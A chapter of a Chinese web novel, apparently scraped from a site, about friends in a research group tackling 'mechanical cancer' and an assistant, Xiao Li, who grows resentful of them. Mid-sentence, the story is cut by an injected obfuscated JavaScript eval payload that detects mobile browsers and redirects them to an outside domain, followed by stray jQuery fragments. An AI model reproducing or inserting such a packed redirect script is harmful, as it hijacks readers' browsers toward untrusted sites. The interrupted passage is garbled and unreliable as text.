“哎，你怎么在这？”正准备找个位置的吴时泽看到独自吃饭的楚希问道。


    楚希干饭的空闲抬眼看过去，无语道：“吃饭，很难看出来吗？”


    “嘿嘿，”吴时泽坐她对面，“不介意一起吃吧？”


    不等楚希回答，随后他就对身后的服务机器人说：“放着吧，谢谢。”


    楚希：“……”


    机器人走后，吴时泽又问：“你经常来这吃吗？”


    “嗯，这离我们学校近。”


    “怪不得，这地方还是谈醒推荐给我的，她说这家早餐巨好吃。”吴时泽说着就往嘴里塞了一口，“嗯，不错。”


    楚希闷头吃饭，没接话。


    “你怎么不说话？”


    楚希把嘴里的粥咽下去，才不紧不慢地回道：“累，没睡醒。”


    “哦对，你昨晚加班了吧？”


    “嗯。”


    吴时泽垂眸看了低头吃饭的楚希两眼，笑了笑说：“我发现，你其实挺认真的，也懂得不少。”


    楚希闻言，抬起头也认真道：“你吃错药了？”


    “……不喜欢别人夸你是吧？”


    “不喜欢你夸我，感觉有阴谋。”


    吴时泽被气得笑出声，“确实有阴谋，想让你也夸夸我。好奇看你这张嘴里能说出什么好东西？”


    “夸你？你个二级修复师有什么好夸的？还沦落到跟我们实习生一组，说实话，是不是在你们维护中心连三级都不如？”


    “滚，不夸我就算了，怎么还戳人痛处？”


    痛处？


    楚希来了兴致，问道：“什么痛处？真连三级修复师都不如？是不是你犯了什么事，被打发到实习组了？按理来说你一个二级修复师确实不至于到实习组。”


    吴时泽瞥她一眼，又悠悠回：“还能什么事，得罪人了呗。”


    楚希点头，“那确实是你能干出来的事。”


    吴时泽：“……”


    许是终于找到机会能把心中的苦闷说给别人听，吴时泽又开始一顿输出：“最烦的是，我根本不知道自己到底怎么得罪她了！我们俩是一起进维护中心的，我自认对她挺好的，可自从她进了管理层后，就处处打压我，把我的晋升机会找各种理由给别人。”


    “直到有次我任务实在完成的太突出，不给我晋升都要引起民愤了，”吴时泽语气带上了点得意，“这才不情不愿地把我升成二级修复师了。我跟你说，要不是有这个煞笔在，我早就是一级修复师了。”


    “那她为什么升了管理层，你却没升？”


    “我……”吴时泽顿了会，又烦躁摆手道，“我怎么知道，我到现在都觉得她升得很奇怪，但具体什么原因我不清楚，也不管我的事。”


    “好吧。”楚希其实是信吴时泽这段话的，毕竟他的实力很直观就能看出来，“既然你都这么惨了，为什么不辞职？”


    “我凭什么辞职？这可是全国最顶尖的维护中心，当然是想办法把她拉下马，”吴时泽举起一颗鸡蛋道，“而不是我自己圆润滚蛋啊。”


    楚希竖起一根大拇指，“有魄力，祝你成功。”


    吴时泽拿起杯子作势要与楚希干杯，“不远了，等机械癌这事过去，就轮到哥的主场了！”


    谈醒推开店门的时候，一眼就看见了正举杯的两人。


    她点完咖啡，偷偷走到楚希身后，对吴时泽比了个“噓”的手势。


    三、二、一


    谈醒正准备猛地拍她一下，突然，吴时泽开口了：“楚希，小心偷袭！”


    楚希闻言下意识转身，与高举着手掌的谈醒对上了眼神。


    “……”


    谈醒尬笑两声，手掌默默落下，放在脑袋后面挠了挠，“奇怪，刚洗完头怎么就痒了？”


    “哈哈哈哈哈哈。”明白过来的楚希毫不客气地笑出声。


    谈醒坐到她旁边，双手怀抱控诉对面的吴时泽，“你怎么回事？什么时候跟我们希宝是一条心了，还提醒她？”


    吴时泽还没说话，楚希就道：“提醒得好！小泽子。”


    “哎！”


    “重重有赏！”


    “谢谢楚皇！”


    “……”谈醒听不下去了，正好她的咖啡好了，站起身说：“我先走了，你们继续演后宫传吧，不过来晚了咖啡可就没喽。”


    “哎哎哎，”楚希叫道，“我马上就好，你要不先给我留一杯呢？”


    *


    他们到达研究室后，发现多了一个人。


    谈醒：“魏平？你怎么来了？”


    魏平闻言抬起头说：“来找言澈。”


    而周言澈神情略显冷淡地看着他的实验，头都没抬。


    谈醒点点头，又道：“我买了咖啡，来杯吧？”


    “不了不了，”魏平拒绝道，“我从小就没喝过，长大了也喝不习惯。”


    “啊？怎么没喝过？”谈醒随口问道。


    “我爸不让，可能他不喜欢。”


    这时一旁的封成帷冷冷道：“这么听你爸的话，怎么不进去陪他？”


    此话一出，魏平直接禁了声，见周言澈也没任何反应，他红着一张脸站起身，对谈醒说：“抱歉，我先走了。”


    话落，他飞快跑了出去。


    “哎……”谈醒只来得及发一个音，魏平就没影了，她无奈地耸了耸肩，把话咽下去。


    转过身时，她与封栖醉对上了视线，下一秒封栖醉说：“帮我拿一杯。”


    “行。”他们的位置是挨着的，谈醒拿了两杯咖啡坐过去，扫了眼封栖醉的电脑问道，“还在研究那个图像重构算法？”


    “嗯。”


    “怎么样，有发现吗？”


    “应该快了。”


    封栖醉没多说，但谈醒明白他的意思，既然都说快了，那想必是真的有眉目了。谈醒把吸管插进杯子里，递给封栖醉夸道：“厉害啊，不愧是你。”


    封栖醉嘴角微微上扬，正欲再说什么，突然研究室的门被人敲响。


    秦云深说了句“请进”，门被打开，竟然是封成锦来了。


    楚希：“今天这什么日子？”


    “让你吃大餐的日子。”封成锦自然接道，又招呼身后大包小包的助理说，“小李，放那个空桌上吧。”


    “大餐？”楚希眼睛亮了，“但我们才刚吃完早饭。”


    “没事，用了极致保温套盒，凉不了一点。”封成锦笑说道，明艳的妆显得她风情万种。


    “好好好，谢谢成锦姐！”


    “别客气。”


    秦云深这时走过来问道：“封小姐来做什么？”


    “我——”封成锦的眼神不着痕迹地瞥了眼周言澈，“我想这群小朋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377156|182352||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    友了，正好有空路过来看看。”


    封成帷“呕”了一声，“小朋友，谁是小朋友。”


    “当然是你啊！你就是最幼稚的。”


    “我……”封成帷下意识要回嘴，但一看周围这么多人，又把话咽下去，说道，“饭送到就赶紧走吧，我们还得忙呢。”


    “我不。”封成锦慢慢凑近他们那边，“你管我。”


    封成帷“切”了声：“你可别过来啊，干扰我忙正事。”


    真是好弟弟啊。


    封成锦暗喜，但表面没什么表情变化，“不过来，我坐这。”


    话落，她顺势就坐到周言澈旁边的凳子上。


    谈醒和楚希对视一眼，都忍不住无声偷笑。


    周言澈感受到封成锦的靠近，不着痕迹地皱了皱眉，在她开口前率先站起身，走到对面谈醒那边，“能看一下你昨天调出来的数据吗？”


    谈醒一愣，随即把桌上的资料递给他，“在这。”


    “谢谢。”他说完，动作十分自然地坐到了谈醒后面的桌子旁。


    一直凝神于屏幕的封栖醉眼帘轻抬，没什么温度地瞥了一眼屏幕反光中映出的那个身影。


    这个桌子是一个大长桌，为了节省时间，他们平时开会、吃饭基本都在这里，此刻显得格外空荡。周言澈偏偏选了这个位置，其疏离之意不言而喻。


    这周言澈似乎真的不喜欢成锦姐啊。


    谈醒下意识地瞥了一眼封成锦，又迅速低下头，假装专注于眼前的屏幕，生怕自己的目光流露出一丝了然，徒增对方的难堪。


    这一切都被封成锦的助理小李看在眼里，他站在角落无法自控地露出一个阴恻恻的表情。


    这群人，天之骄子，自命不凡，高高在上地谈论着要为机械癌患者寻找生路，却一直安稳地坐在这片光亮里，真的会在意那些在泥泞中挣扎的人吗？


    怎么会呢？


    指望他们还不如指望自己。


    他们若是更换器官，用的定然是顶尖的货色，哪会像底层百姓，只能用廉价的替代品，承受着排异与癌变的双重折磨。痛苦没发生在自己身上，他们怎么可能真正感同身受？


    他们不会的。


    他们甚至连对身边人都缺乏最基本的善意。周言澈多少次给自己老板难堪？近来那些愈传愈烈的风言风语，保不齐就是从他这里漏出去的。


    而他的老板，封成锦……她又何尝不是活该？


    他刚开始对封成锦是感激的，感激她的知遇之恩，感激她带他见识另一个世界，感激她给了他养家糊口的底气和体面。


    可那只是在岁月静好的时候。


    相安无事时，每个人都带着面具，尽情伪装成各种模样。一旦出事，面具就悄无声息碎在了地上，主人浑然不觉，可旁人，却将那面具下的真实面目，看得一清二楚。


    就像他的老板，机械癌刚刚席卷社会时，她恨不得住在智造署，一分一秒都扑在研究劣质器官上。可这才过了多久？她竟又开始为这些无谓的感情浪费时间。


    在无数人正在受苦受难的时候，她凭什么心安理得地追求私人的满足？他们这些吃尽了技术红利的人，凭什么不能也尝尝技术反噬的代价？


    小李紧紧撺着身上昂贵的西装衣角，片刻，又深吸一口气，慢慢把褶皱抚平。


    他朝周言澈这边走来。